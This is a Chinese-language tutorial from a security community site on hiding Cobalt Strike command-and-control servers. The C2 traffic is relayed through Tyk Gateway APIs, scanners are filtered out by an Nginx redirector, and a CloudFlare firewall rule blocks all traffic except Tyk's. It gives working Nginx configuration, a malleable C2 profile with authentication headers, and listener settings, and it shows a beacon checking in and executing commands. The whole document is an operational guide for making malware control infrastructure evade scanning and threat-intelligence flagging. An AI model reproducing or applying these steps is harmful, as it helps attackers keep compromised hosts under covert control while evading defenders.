利用 Nginx、Tyk Gateway API 和 CloudFlare 防火墙隐藏 C2 设施 -先知社区

66 先知社区, 先知安全技术社区

本文首发于 先知社区 (https://xz.aliyun.com/) ,未经允许 禁止转载

0x01 前言

Cobalt Strike 的特征已经被各大安全厂商标记烂了,加上搜索引擎、空间测绘的扫描,在配置 C2 域名后,如果不做好基础设施的 隐匿,很快会出现下图的情况。(图片截取自某情报社区)

志 微步情报	III Umbrella 100w+	Alexa 100w+ 查看历史排名	
	相关URL 0 角	辭fiP数 2 注册时间 -	域名服务商 -
关注热度 🌢 🌢 🌢	通信样本 0 号	P域名数 5 过期时间 -	域名注册邮箱 -
恶意软件	tStrike木马		③ 2022-07-14 发现, 2022-08-25
微步情报 🚺 条微	步情报,1条 恶意软件 、1条 Co	baltStrike木马 相关。	
发现时间	更新时间	情报内容	状态

(https://s2.loli.net/2022/08/25/oZv4UrYhA8yqLcK.png)

隐藏 C2 的手法有很多,比如早些时候的域前置和最近热门的利用 云函数隐藏。但是如今许多 CDN 厂商都已经禁用了域前置技术, 而云函数是有免费额度的,超过之后会开始计费,许多蓝队反制帖 子已经开始分享消耗云函数额度的方法了。

最近看到一篇利用 Tyk Gateway API 隐藏 C2 流量的文章,通过配

置 Tyk Gateway API 转发恶意流量,以达到类似于域前置,或者腾 讯云函数隐藏 C2 的效果。

在这个基础上,通过将域名托管到 CloudFlare,配置 Nginx 过滤不符合规则的请求,并通过配置 CloudFlare 防火墙只允许 Tyk Gateway API 的流量访问 C2 域名,可以达到隐藏 C2 域名,并且防止搜索引擎、空间测绘扫描和识别 Cobalt Strike 特征导致域名或 IP 被标记。

本文基于已经将域名托管到 CloudFlare 并配置 SSL 证书的情况, 如果你不知道如何使用 CloudFlare 和配置 SSL 证书,请自行搜索 相关资料。

0x02 配置 Nginx

将域名托管到 CloudFlare 后,可以配置 Nginx 反向代理来过滤部 分请求,只让信标流量转发进服务器。

自定义 Nginx 配置文件

Nginx 的配置文件还是有点复杂的,可以使用 cs2modrewrite (https://github.com/threatexpress/cs2modrewrite)进行生成, 然后根据需求进行修改。

这里以使用 jquery-c2.4.5.profile (https://github.com/threatexpress/malleablec2/blob/master/jquery-c2.4.5.profile) 作为 C2 配置文件的情况 示例:

python3 ./cs2nginx.py -i jquery-c2.4.5.profile -c https://12
7.0.0.1:8443 -r http://www.baidu.com/ -H yourc2.domain > ./ng
inx.conf

- -i: 指定 C2 配置文件
- -c: 指定内部的监听端口
- -r: 指定 302 跳转的地址
- -H: 指定你的域名

通过该工具生成的 Nginx 配置文件的 server 块的部分配置如下:

```
server {
        set $C2_SERVER https://127.0.0.1:8443;
        set $REDIRECT_DOMAIN http://www.baidu.com/;
        server_name yourc2.domain;
        . . . . . .
        listen 80;
        listen [::]:80;
        listen 443 ssl;
        listen [::]:443 ssl;
        . . . . . .
        location ~ ^(/jquery-3.3.2.slim.min.js.*//jquery-3.3.
1.min.js.*//jquery-3.3.1.slim.min.js.*//jquery-3.3.2.min.js.
*)$ {if ( $http_user_agent != "Mozilla/5.0 (Windows NT 6.3; T
rident/7.0; rv:11.0) like Gecko")
          {
            return 404;
          }
            proxy_pass $C2_SERVER;
        . . . . . .
        }
        location @redirect {
                return 302 $REDIRECT_DOMAIN$request_uri;
        }
        }
```

使用 Nginx 加载该配置文件后。Nginx 将监听外部的 80、443 端口,并将符合规则的请求转发到内部的 8443 端口,不符合规则的请求将跳转到 http://www.baidu.com/。

效果

此时通过对服务器 IP 地址的扫描就无法获取到我们的 beacon stage 了。



(https://s2.loli.net/2022/08/26/rNz75bAiwQtkERq.png)

0x03 配置 Tyk Gateway API

注册账户

访问 注册地址 (https://account.cloud–ara.tyk.io/signup) ,填写 用户名、邮箱、密码等信息后点击注册,注册成功后选择免费版。



(https://s2.loli.net/2022/08/25/Q58cZ3YsdFaqMhu.png)

然后设置组织名称,设置好后会提示 Deployment successful 。

创建并配置 API

点击 Manage APIs 后会看到如下页面:

Get storted with your first API



(https://s2.loli.net/2022/08/25/eUybjDunGM8oJzr.png)

接下来逐一创建并配置 http-get API、http-post API、Stagerx86 API、Stager-x64 API。以下以 http-get API 为例。

假设你的域名为 cslabtest.live ,且 C2 配置文件如下:

```
http-get {
    set uri "/api/v2/login";
    ....
}
http-post {
    set uri "/api/v2/status";
    ....
}
http-stager {
    set uri_x86 "/api/v2/GetProfilePicture";
    set uri_x64 "/api/v2/GetAttachment";
}
```

点击 Design new API 并填写 API 信息。

Create new API 🔞	
	Overview
	Name http:get
	Type
	○ ∰ uDG ○ 12 Federation
	Details
	Upstream URL https://cslabtest.live

.

(https://s2.loli.net/2022/08/25/4m2H1xNwMij3Gu8.png)

创建好后进一步配置 API,来让它能够将请求转发到我们的 C2 服务器。

现在我们需要更改 Listen path 和 Target URL , TYK 会监 听 Listen path 的地址,并将请求转发到 Target URL 。

(注:若 C2 配置文件为 jquery-c2.4.5.profile,则
将 Listen path 和 Target URL 的路径配置为相对应的 .js 的路
径)

Settings Ver	ions Endpoint De	esigner Advanced	d Options Uptime Te	ts Debugging		
certificate sect	ons, and should mat	ch the custom doma	in name entered above.			
	DTIFICATE					
ATTACH	KTIFICATE					
Listen path						
The listen path	dictates what path T	yk will listen on, if yo	ou leave this blank, it will	be automatically po	opulated by the ID o	f the API.
Listen path:						
(api/v2/login						
If you add a traili Strip the liste If this setting is Strip the list	ng '/' to your listen path, n path checked, then Tyk w ten path	you can only make requ /Ill remove the above	uests that include the trailing	7' . Dund URL so that it	: does not interfere v	with routing upstream.
If you add a traili Strip the liste If this setting I: Strip the list iternal set. API can't be	ng / ⁻ to your listen path, n path checked, then Tyk w ten path accessed except whe	you can only make requ vill remove the above	uests that include the trailing	ν	: does not interfere v	with routing upstream.
If you add a traili Strip the liste If this setting I: Strip the list iternal set, API can't be Artivated	ng // to your listen path, n path checked, then Tyk w ten path accessed except whe	you can only make requ vill remove the above en using Internal	ests that include the trailing	Ϋ́. pund URL so that it	: does not interfere v	with routing upstream.
If you add a traill Strip the liste If this setting is Strip the list Strip the list ternal set, API can't be) Activated	ng '/' to your listen path, 1 path checked, then Tyk w ten path accessed except whe	you can only make requ rill remove the above en using internal	uests that include the trailing	Ϋ́.	: does not interfere v	with routing upstream.
If you add a traili Strip the liste If this setting is Strip the list set, API can't be Activated	ng '/ to your listen path, n path checked, then Tyk w ten path accessed except whe	you can only make requ vill remove the above en using Internal	ests that include the trailing	γ .	: does not interfere v	with routing upstream.
If you add a traili Strip the liste If this setting !: Strip the list if this setting !: Strip the list atternal set, API can't be Activated	ng // to your listen path, n path checked, then Tyk w ken path accessed except whe	you can only make requ rill remove the above en using internal	elisten path from the Int	Υ .	: does not interfere v	with routing upstream.
If you add a traili Strip the listed If this setting i Strip the list ternal set, API can't be Activated arget(s)	ig '/ to your listen path, 1 path checked, then Tyk w ten path accessed except whe	you can only make requ fill remove the above	uests that include the trailing	7 . Dund URL so that it	: does not interfere v	with routing upstream.
If you add a traili Strip the liste If this setting I: Strip the list set, API can't be) Activated arget(s)	ng 'r to your listen path, n path checked, then Tyk w ten path accessed except whe	you can only make requ fill remove the above en using internal	ests that include the trailing	γ . ound URL so that it	: does not interfere v	with routing upstream.
If you add a traill Strip the liste If this setting i Strip the list Strip the list Strip the list set, API can't be Activated arget(s) arget URL	ng ⁷⁷ to your listen path, n path checked, then Tyk w ten path accessed except whe	you can only make requ fill remove the above en using Internal	ests that include the trailing	Υ .	: does not interfere v	with routing upstream.

(https://s2.loli.net/2022/08/25/9u8Bsjh6cSMCfFQ.png)

为了能够上线 CS, 还要配置 Rate Limiting and Quotas 。都选择 disable 即可。

Rate	e Limiting and Quotas
Disal In so	ble rate limiting me cases, such as In an API that is used for service-to-service calls, it is not helpful to have rate limits set. By enabling this option, the rate limiter will not be engaged for this API.
🗹 D	isable rate limiting
Disa In so	ble quotas me cases, such as in an API that is used for service-to-service calls, it is not helpful to have quotas set, or even checked. By enabling this option the quota mechanism will be bypassed.
🗹 D	isable quotas

(https://s2.loli.net/2022/08/25/sbpULn2YTPhvwyx.png)

然后来到 Advanced Options ,取消勾选 Enable caching 。



Cache Options

Caching middleware

Enable caching

(https://s2.loli.net/2022/08/25/ax9wSqE2el6nRJ7.png)

按这个步骤逐一新建 http-get API、http-post API、Stager-x86 API、Stager-x64 API。

设置访问验证策略

将上一步新建的 API 的 Authentication 更改

为 Basic Authentication , 如下所示:

thentication mode:	
Basic Authentication	· · · · · · · · · · · · · · · · · · ·
Strip Authorization Data	
Basic Authentication	
Cache TTL:	Basic Authentication requires the use of a username and password. Tvk will store
0	usernames as auth tokens which can be viewed
If 0, default Cache TTL is set to 60 seconds	nonrate keys section of the Arrivanager.
Disable caching	
 Extract credentials from body 	
Authentication Configuration	
Auth Key Header Name:	
Authorization	
Allow query parameter as well as header	
Use cookie value	

(https://s2.loli.net/2022/08/25/1KWilQdpevuoM7y.png)

然后来到 Policies 新建策略,选择你新建的四个 API。

	Add Policy				CREATE DOL W
ystem Management 🔷	Add Policy	-			CREATE POLIC
Lusers	1. Access Rights 2.Configurations				
ot APIs					
♣ Keys	 Add API Access Rights Ø 				
♥ Policies	Api name		Authentication	type	
Certificates	Search by API Name		Q basic		~
🜲 Webhooks	API NAME ©	AUTHENTICATION TYP	PE	CATEGORY	
J Identity Management	Stamer VDC	Davis Auth			
ortal Management 🛛 🔨	Stager-X64	Basic Auth			
✗ Settings	http-post	Basic Auth			
I Catalogue	http-get	Basic Auth			
📽 Key Requests					
a Developers					
d Deserve					
in Lakes		_			
≡ Menus	 Global Limits and Quota 	0			

(https://s2.loli.net/2022/08/25/l1HnpmuLrQF6tIX.png)

然后点击 Global Limits and Quota ,确认禁用 Rate Limiting 。

date Limiting ate: Unlimited Unlimited	Introtting Disable throttling Throttle retrylimit: Disable throttling Throttle interval: Disabled throttling	Usage Quota © Unimited devests Max requests period: Unimited Quota rests every: Never	~
Inline Partitioning			

(https://s2.loli.net/2022/08/25/NRX1zoLMPQjOF9f.png)

接着配置策略名称并设置密钥过期时间。

	CREATE POLICY
Policy Name*	
(NITP-GET-POLICY	
Settings	
Policy State	
Keys expire alter* (Key never expire)	
	Policy Name* I HTTP att POLICY Settings Policy State A chie A line Key never spire Key never spire (kny meer spire ()

(https://s2.loli.net/2022/08/25/3s257tH9WXQuK8B.png)

点击 Create Policy 以保存新策略,之后可以在 Policies 看到它:

Policy N	Nanagement 😮					+ ADD POLICY
Search Search by Policy Name		٩	Access Rights All Access Rights	~	Authentication Type All Authentication Types	~
STATE 0	POLICY NAME 0	ACCESS RIGHTS		AUTHENTICATION TYPE		
۰	HTTP-GET-POLICY Policy ID: 62ae5be6dfd13d00014ded0b	http-get		Basic Auth		8

(https://s2.loli.net/2022/08/25/6GE1ygYCP753wdL.png)

配置访问验证 Key

来到 Keys , 点击 ADD KEY , 然后在 Apply policy 选择我们之前创 建的策略, 并选择 API。

Γ	Uptime targets	* <u>Kteys list</u>	
	System Management	Add Key 🕜	EATE KEY
L	🚨 Users	1. Access Rights 2. Configurations 3. Authentication	
	😋 APIs	APPLY POLICY CHOOSE APL	
L	ሔ Keys		
	♥ Policies	▲ Add API Access Rights	
	Certificates	Api name Authentication type	
	Webhooks	Search by API Name Q basic	~
1			

Portal Management	^	API NAME ©	AUTHENTICATION TYPE	CATEGORY
⊁ Settings		Stager-X86	Basic Auth	
Catalogue		Stager-X64	Basic Auth	
	_	http-post	Basic Auth	
📽 Key Requests		http-get	Basic Auth	
🛎 Developers				
ø Pages				
≡ Menus				
4 CSS				

(https://s2.loli.net/2022/08/25/kMVjDTvq6t59m7x.png)

最后来到 Authentication 输入需要设置的用户名、密码,这里使用 test:testtesttest 作为用户名、密码。

<u>< Keys List</u> Add Key	
1. Access Rights	2. Configurations 3. Authentication
	Basic Authentication Username test Password

(https://s2.loli.net/2022/08/25/IVfpUkga6KrndHM.png)

Key 创建成功后会有如下提示:

Your key has been created
Key ID :eyjvcmciOil2MmEzY2IxOTc5N2FINjAwMDEwYzA3NTQiLCJ
Username : test 🕒
Password : ******** [

(https://s2.loli.net/2022/08/25/OuLAM4y9PdHwSG2.png)

配置 C2 配置文件

由于上一步我们设置了访问验证,所以要在 C2 配置文件中添加一 个请求头才能正常上线 CS。

Authorization 的请求头设置格式如下:

Authorization: Basic base64(username:password)

所以按上一步添加的 Key ,我们要在 C2 配置文件中添加如下请求 头:

Authorization: Basic dGVzdDp0ZXN0dGVzdHRlc3Q=

```
最终配置文件如下:
```

```
http-get {
    set uri "/api/v2/login";
    client {
        header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q
=";
}
   . . . .
}
http-post {
    set uri "/api/v2/status";
    client {
        header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q
=";
}
   . . . .
}
http-stager {
    set uri_x86 "/api/v2/GetProfilePicture";
    set uri_x64 "/api/v2/GetAttachment";
    client {
        header "Authorization" "Basic dGVzdDp0ZXN0dGVzdHRlc3Q
=";
}
    . . . .
}
```

效果

此时直接访问我们设置的 API 的地址都是需要验证的, 而 CS 是可 以正常上线的。

Red Teaming	🖿 Blue Teaming	Networking	Sec videos	🖿 Exploit dev 🖿	Signin	c	Py
					https://ambitious-power-mow aws-euw1 cloud-ara by io		
					neps.//unioidods.power nigw.uws.cow neodd uni.tyk.io		
					Username		
						- 1	
					Password		
					Cancel Sign in		

(https://s2.loli.net/2022/08/25/SvRAo7Zy4WBIYxT.png)

0x04 配置 CloudFlare 防火墙

获得 tyk.io 特征

在 CF 的 WAF 中创建一条防火墙规则,如下:

And Or
编辑表达式

(https://s2.loli.net/2022/08/25/e5ZWfulg9JhKOY2.png)

然后生成一个木马尝试上线 CS,这时肯定是无法上线的,来到 CF 的概述中可以看到所有拦截记录,点击单条拦截记录查看详细。

~ 25 8月, 2022	2 16:25:59	阻止			防火墙规则
Ray ID			服务	防火墙规则	
方法	GET		规则 ID		
HTTP 版本	HTTP/1.1				
主机			规则名称		
路径			表达式		
查询字符串					

用户代理	采取的措施。 阻止
	业 <u>导出事件 JSON</u>
IP 地址	
ASN	
国家/地区	

(https://s2.loli.net/2022/08/25/5X98QebcMgPF2Yv.png)

这里有很多的特征可以加到 WAF 拦截规则中,来实现只 有 Tyk Gateway API 转发过来的流量才能允许访问,其他的流量都 会阻止。

编辑防火墙规则

这里我以 ASN 为例子, 配置如下:

	1107					
tyk	216.635					
/小规则自,足加)	企注合物					
当传入请求四	匹配时…					
字段		运算符		值		
主机名	*	等于	*	cslabtest.live	And	
And				例如, example.com	, <u> </u>	
ASN	*	不等于	*	13335 And	Or	
				例如, 13335		
表达式预览					编辑	表
(http://www.hose	"	1.1.4	//			
(nttp.nos	t eq cs	slabtest. 11ve	e and i	p. geoip. asnum ne 15355)		

(https://s2.loli.net/2022/08/25/wodcvM8ufmgTYWQ.png)

保存防火墙规则即可。

0x05 最终效果

对服务器的扫描,无法获取到我们的 beacon stage。

ubuntu@ubuntu:~\$ nmap
Starting Nmap 7.92 (https://nmap.022) at 2022-08-26 02:02 UIC
Nmap scan report for
Host is up (0.058s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
l grab beacon config: No Valid Response



(https://s2.loli.net/2022/08/26/rNz75bAiwQtkERq.png)

直接访问设置的 Tyk Gateway API 的地址是需要验证的。

		.tyk.io	
		登录	取消
			.tyk.io 登录

(https://s2.loli.net/2022/08/25/1W3mjGpAMBswySF.png)

直接访问我们的 C2 域名会被 CloudFlare 拦截。

Access denied You cannot access owner to request access.	Error code 1020 . Refresh the page or contact the site
Troubleshooting informat Copy and paste the Ray ID when you o Ray ID: Copy For help visit Troubleshooting guide C	iON contact the site owner.
Was this page helpful? Ves	No Performance & security by Cloudflare ⊡

(https://s2.loli.net/2022/08/25/KUnbLxXzH5ECNvp.png)

CS 创建监听器,如下:

创建监听器						
名字: HTTPS						
Payload: Beacon HT	TPS 🗾					
Payload选项						
HTTPS地址:	oud-ara.tyk.io					
地址轮询策略:	round-robin					
最大重试策略:	none					
HTTPS地址(Stager)	ud-ara.tyk.io					
配置名称:	default					
HTTPS端口(上线):	443					
HTTPS端口(监听):	8443					
HTTPS Host头:	Jd-ara.tyk.io					
HTTPS代理:						
	保存帮助					

(https://s2.loli.net/2022/08/26/m6KodZ7iqONzRXL.png)

CS 生成木马,可以正常上线和执行命令。



(https://s2.loli.net/2022/08/25/1igUo76aJxB4IM5.png)

0x05 问题

- 由于流量经过多次转发,上线可能会有延迟。
- 通过配置 Tyk Gateway API 的域名,使用 HTTPS 的方式上线,流量中会出现 *.tyk.io 的 DNS 流量记录,算是一个比较明显的特征。



(https://s2.loli.net/2022/08/26/osOVWLZK19bT8mw.png)

0x06 参考

- Oh my API, abusing TYK cloud API management to hide your malicious C2 traffic (https://shells.systems/ohmy-api-abusing-tyk-cloud-api-management-serviceto-hide-your-malicious-c2-traffic/)
- cobaltstrike 配置 nginx 反向代理 (https://www.freebuf.com/articles/othersarticles/247115.html)
- cs2modrewrite
 (https://github.com/threatexpress/cs2modrewrite)